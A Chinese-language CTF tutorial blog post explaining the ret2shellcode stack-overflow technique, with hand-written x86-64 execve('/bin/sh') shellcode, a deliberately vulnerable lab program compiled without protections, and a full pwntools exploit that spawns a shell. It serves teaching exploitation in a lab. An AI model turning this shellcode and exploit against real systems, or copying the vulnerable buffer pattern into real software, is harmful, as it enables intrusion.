2113 字
11 分钟
Stack-2-2-2 BasicROP-ret2shellcode

%%本节前置:Stack -1,Stack-2-1%%

本节正式介绍ret2shellcode相关内容。在正式学习之前,你也许已经了解并熟练了ret2text的相关内容。当然,不了解也没关系,你只需要知道前置所需知识就可以。我们本节要介绍的攻击手法实际上比ROP更早,是传统的栈溢出攻击手法。当然,ret2shellcode的思想同样是我们前面介绍过的覆写+劫持。所以我们仍然将ret2shellcode攻击视为基础ROP之一,并深入理解其相关内容。

技术梗概#

ret2shellcodereturn to shellcode,返回到恶意代码,即控制程序执行流到shellcode

什么是shellcode? shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码

1996 年,Aleph One 在 Underground 发表了著名论文 Smashing the Stack for Fun and Profit,其中详细描述了 Linux 系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中,Aleph One 演示了如何向进程中植入一段用于获得 shell 的代码,并在论文中称这段被植入进程的代码为“shellcode”。 后来人们干脆统一用 shellcode 这个专用术语来通称缓冲区溢出攻击中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框,也可以是出于攻击目的的删改重要文件、窃取数据、上传木马病毒并运行,甚至是出于破坏目的的格式化硬盘等。

在我们介绍的栈溢出漏洞的基础上,要想执行shellcode,就需要我们程序运行时,写入shellcode的地区具有可执行权限。这就使得传统的栈溢出利用不能执行,因为NX保护(栈不可执行)的出现,以及新版内核当中较为激进的保护策略。都使得传统的ret2shellcode手法不再能直接完成利用。但是ret2shellcode却是一种最直接的,最主动的栈溢出攻击手法。CTF中通常对ret2shellcode的利用都在不能直接getshell的情况下进行,即开启了沙箱保护

技术详解#

code2Shell-编码技术#

要学习ret2shellcode,自然得先从shellcode开始学习。在学习shellcode之前,我们需要先了解一个十分重要的概念,Linux中的系统调用

系统调用#

计算机系统的各种硬件资源是有限的,在现代多任务操作系统上同时运行的多个进程都需要访问这些资源,为了更好的管理这些资源进程是不允许直接操作的,所有对这些资源的访问都必须有操作系统控制。也就是说操作系统是使用这些资源的唯一入口,而这个入口就是操作系统提供的系统调用(System Call)。在linux中系统调用是用户空间访问内核的唯一手段,除异常和陷入外,他们是内核唯一的合法入口。

简而言之,系统调用是各种函数,如systemexecreadwrite等的核心实现

在日常使用中,我们是不能直接控制计算机内核来执行我们想要的指令的。计算机通过区分用户态内核态(你可以理解为User和Root的区别)来合理分配计算机资源。通过系统调用,以特定寄存器中的值作为参数,去执行相应的系统调用。

譬如,在执行syscall指令前,我们的rax的值为0x3b,那么就会执行exec函数的系统调用。我们进而再控制rdirsirdx的值,使系统调用exec("/bin/sh\x00", NULL, NULL),自然就Getshell了。

编写shellcode#

shellcode 在32位和64位中略有不同,本文主要讲解在64位下的shellcode编写。

刚刚讲到,shellcode的关键是用汇编指令控制寄存器的值,然后去触发系统调用。那么我们想要Getshell,也就是去执行/bin/sh\x00,就需要执行exec("/bin/sh\x00", NULL, NULL)

system(“/bin/sh\x00”)也是用exec函数实现的。

那么我们需要控制这些寄存器

rax = 0x3b
rdi = "/bin/sh\x00"
rsi = 0
rdx = 0
  • rax系统调用号syscall根据rax来确定系统调用
  • rdi,第一个参数
  • rsi,第二个参数
  • rdx,第三个参数 Linux系统调用号速查

⚠️我们的参数/bin/sh\x00必须作为指针的引用传入,不能直接传入硬编码哦。

一段简单的shellcode实现如下

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
push 0x3b
pop rax
syscall

⚠️A xor A = 0

  • mov rax, 0x68732f6e69622f,将/bin/sh\x00放入rax
  • push raxrax的值压入栈中保存
  • mov rdi, rsprsp中的值放入rdi中作为第一个参数。

⚠️rsp是指针寄存器,存放刚刚压入栈中的栈顶的/bin/sh\x00的栈地址的指针。

  • xor rsi, rsi清空rsi,这是第二个参数
  • xor rdx, rdx清空rdx,这是第三个参数
  • push 0x3b,将0x3b压入栈中
  • pop rax,将0x3b弹入rax
  • syscall执行系统调用

🎉一个简单的shellcode就编写好了!🎉

实验详解#

由此,我们以一个实验来理解ret2shellcode的攻击手法。

Source

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
  
int main()  
{
   setvbuf(stdout, 0, 2, 0); 
   setvbuf(stdin, 0, 1, 0);
   char buffer[0x20];
   printf("%p\n", &buffer);
   read(0, buffer, 0x1000);  
   return 0;  
}

用以下命令编译

gcc -fno-stack-protector -no-pie -z execstack -O0 Lab-s-2-1-2.c -o Lab-s-2-1-2
  • -z execstack,开启栈可执行。

程序流程很简单,漏洞依然是我们经典的栈溢出,不过此题没有后门,怎么办呢?ret2shellcode,自己动手,丰衣足食。

首先我们关注到有一个特别的函数printf("%p\n", &buffer);,这个函数将buffer的地址打印了出来,相当于方便我们去寻址。因为在实际利用的过程中,我们是要要求知道shellcode写入的位置的,这样我们才能覆盖返回地址到shellcode的位置来劫持程序执行流。

利用的思路就很简单了,先接收泄露出来的buffer地址,由于我们的shellcode就是向buffer上面写的,现在还不清楚我们的shellcode到底是在哪个位置,我们先看看要利用的shellcode编码出来的长度。

我们可以用pwntools提供的shellcraft函数来便利地生成shellcode。此时建议显式地指定一下环境变量

context(os='linux', arch='amd64')

直接生成即可

shellcode = shellcraft.sh()

随后是关于shellcode的寻址问题。我们现在已知从起始覆盖到返回地址的长度为0x20 + 0x8,也就是说,下一个0x8就要填入返回地址,那么实际上,我们控制返回地址一共需要0x30的长度,后面的部分就是shellcode,我们只需要跳转到buffer+0x30的位置就可以了!

⚠️泄露的buffer地址就是读入数据的起始位置

实际上,我们有两种关于已知buf起始位置的寻址方式

  • shellcode能够放入buf中时,我们将shellcode前置到返回地址之前,那么返回地址就只需要填入buf的地址即可
  • shellcode不能放入buf中时,我们将shellcode后置到返回地址之后,那么返回地址就要填入buf加上实控至返回地址的长度

比如刚刚的情况,如果我们有一个长度小于0x20的shellcode,那么我们的payload就构建如下:

offset = buf + 0x8
payload = shellcode + cyclic(offset - len(shellcode)) + p64(buf_addr)

栈结构图如下

后置的情况

payload = cyclic(offset) + p64(buf + offset + 0x8) + shellcode

栈结构示意

那么完整的EXP如下

from pwn import *
io = process("./Lab-s-2-1-2")
context(arch='amd64',os='linux')
leakstack = io.recvuntil(b'\n', drop=True)
log.success('recvsuccess ==>'+ leakstack.decode())
stack=eval(leakstack.decode())
shellcode = asm(shellcraft.sh())
offset = 0x20 + 0x8
payload = cyclic(offset) + p64(stack+0x30) + shellcode
io.send(payload)
io.interactive()

⚠️此处就是后置的情况

RESULT

[+] Starting local process './Lab-s-2-1-2': pid 178590  
[+] recvsuccess ==>0x7ffdb4f57db0  
[*] Switching to interactive mode  
$ whoami  
K4per

总结#

本节我们学习了ret2shellcode这一经典的栈溢出利用。实际上,我们本节所讲的内容还较为浅显。更深入的知识将放到Defense-Sandbox中,讲解另一种orwshellcode&ret2orw的利用。

那么留下一道题作为本节完成的作业。

CTFPLUS 来自Geek Challenge 2024的ez_shellcode

ez_shellcode

Stack-2-2-2 BasicROP-ret2shellcode
https://k4per-blog.xyz/posts/stack-2-2-2-basicrop-ret2shellcode/
作者
K4per
发布于
2025-03-30
许可协议
CC BY-NC-SA 4.0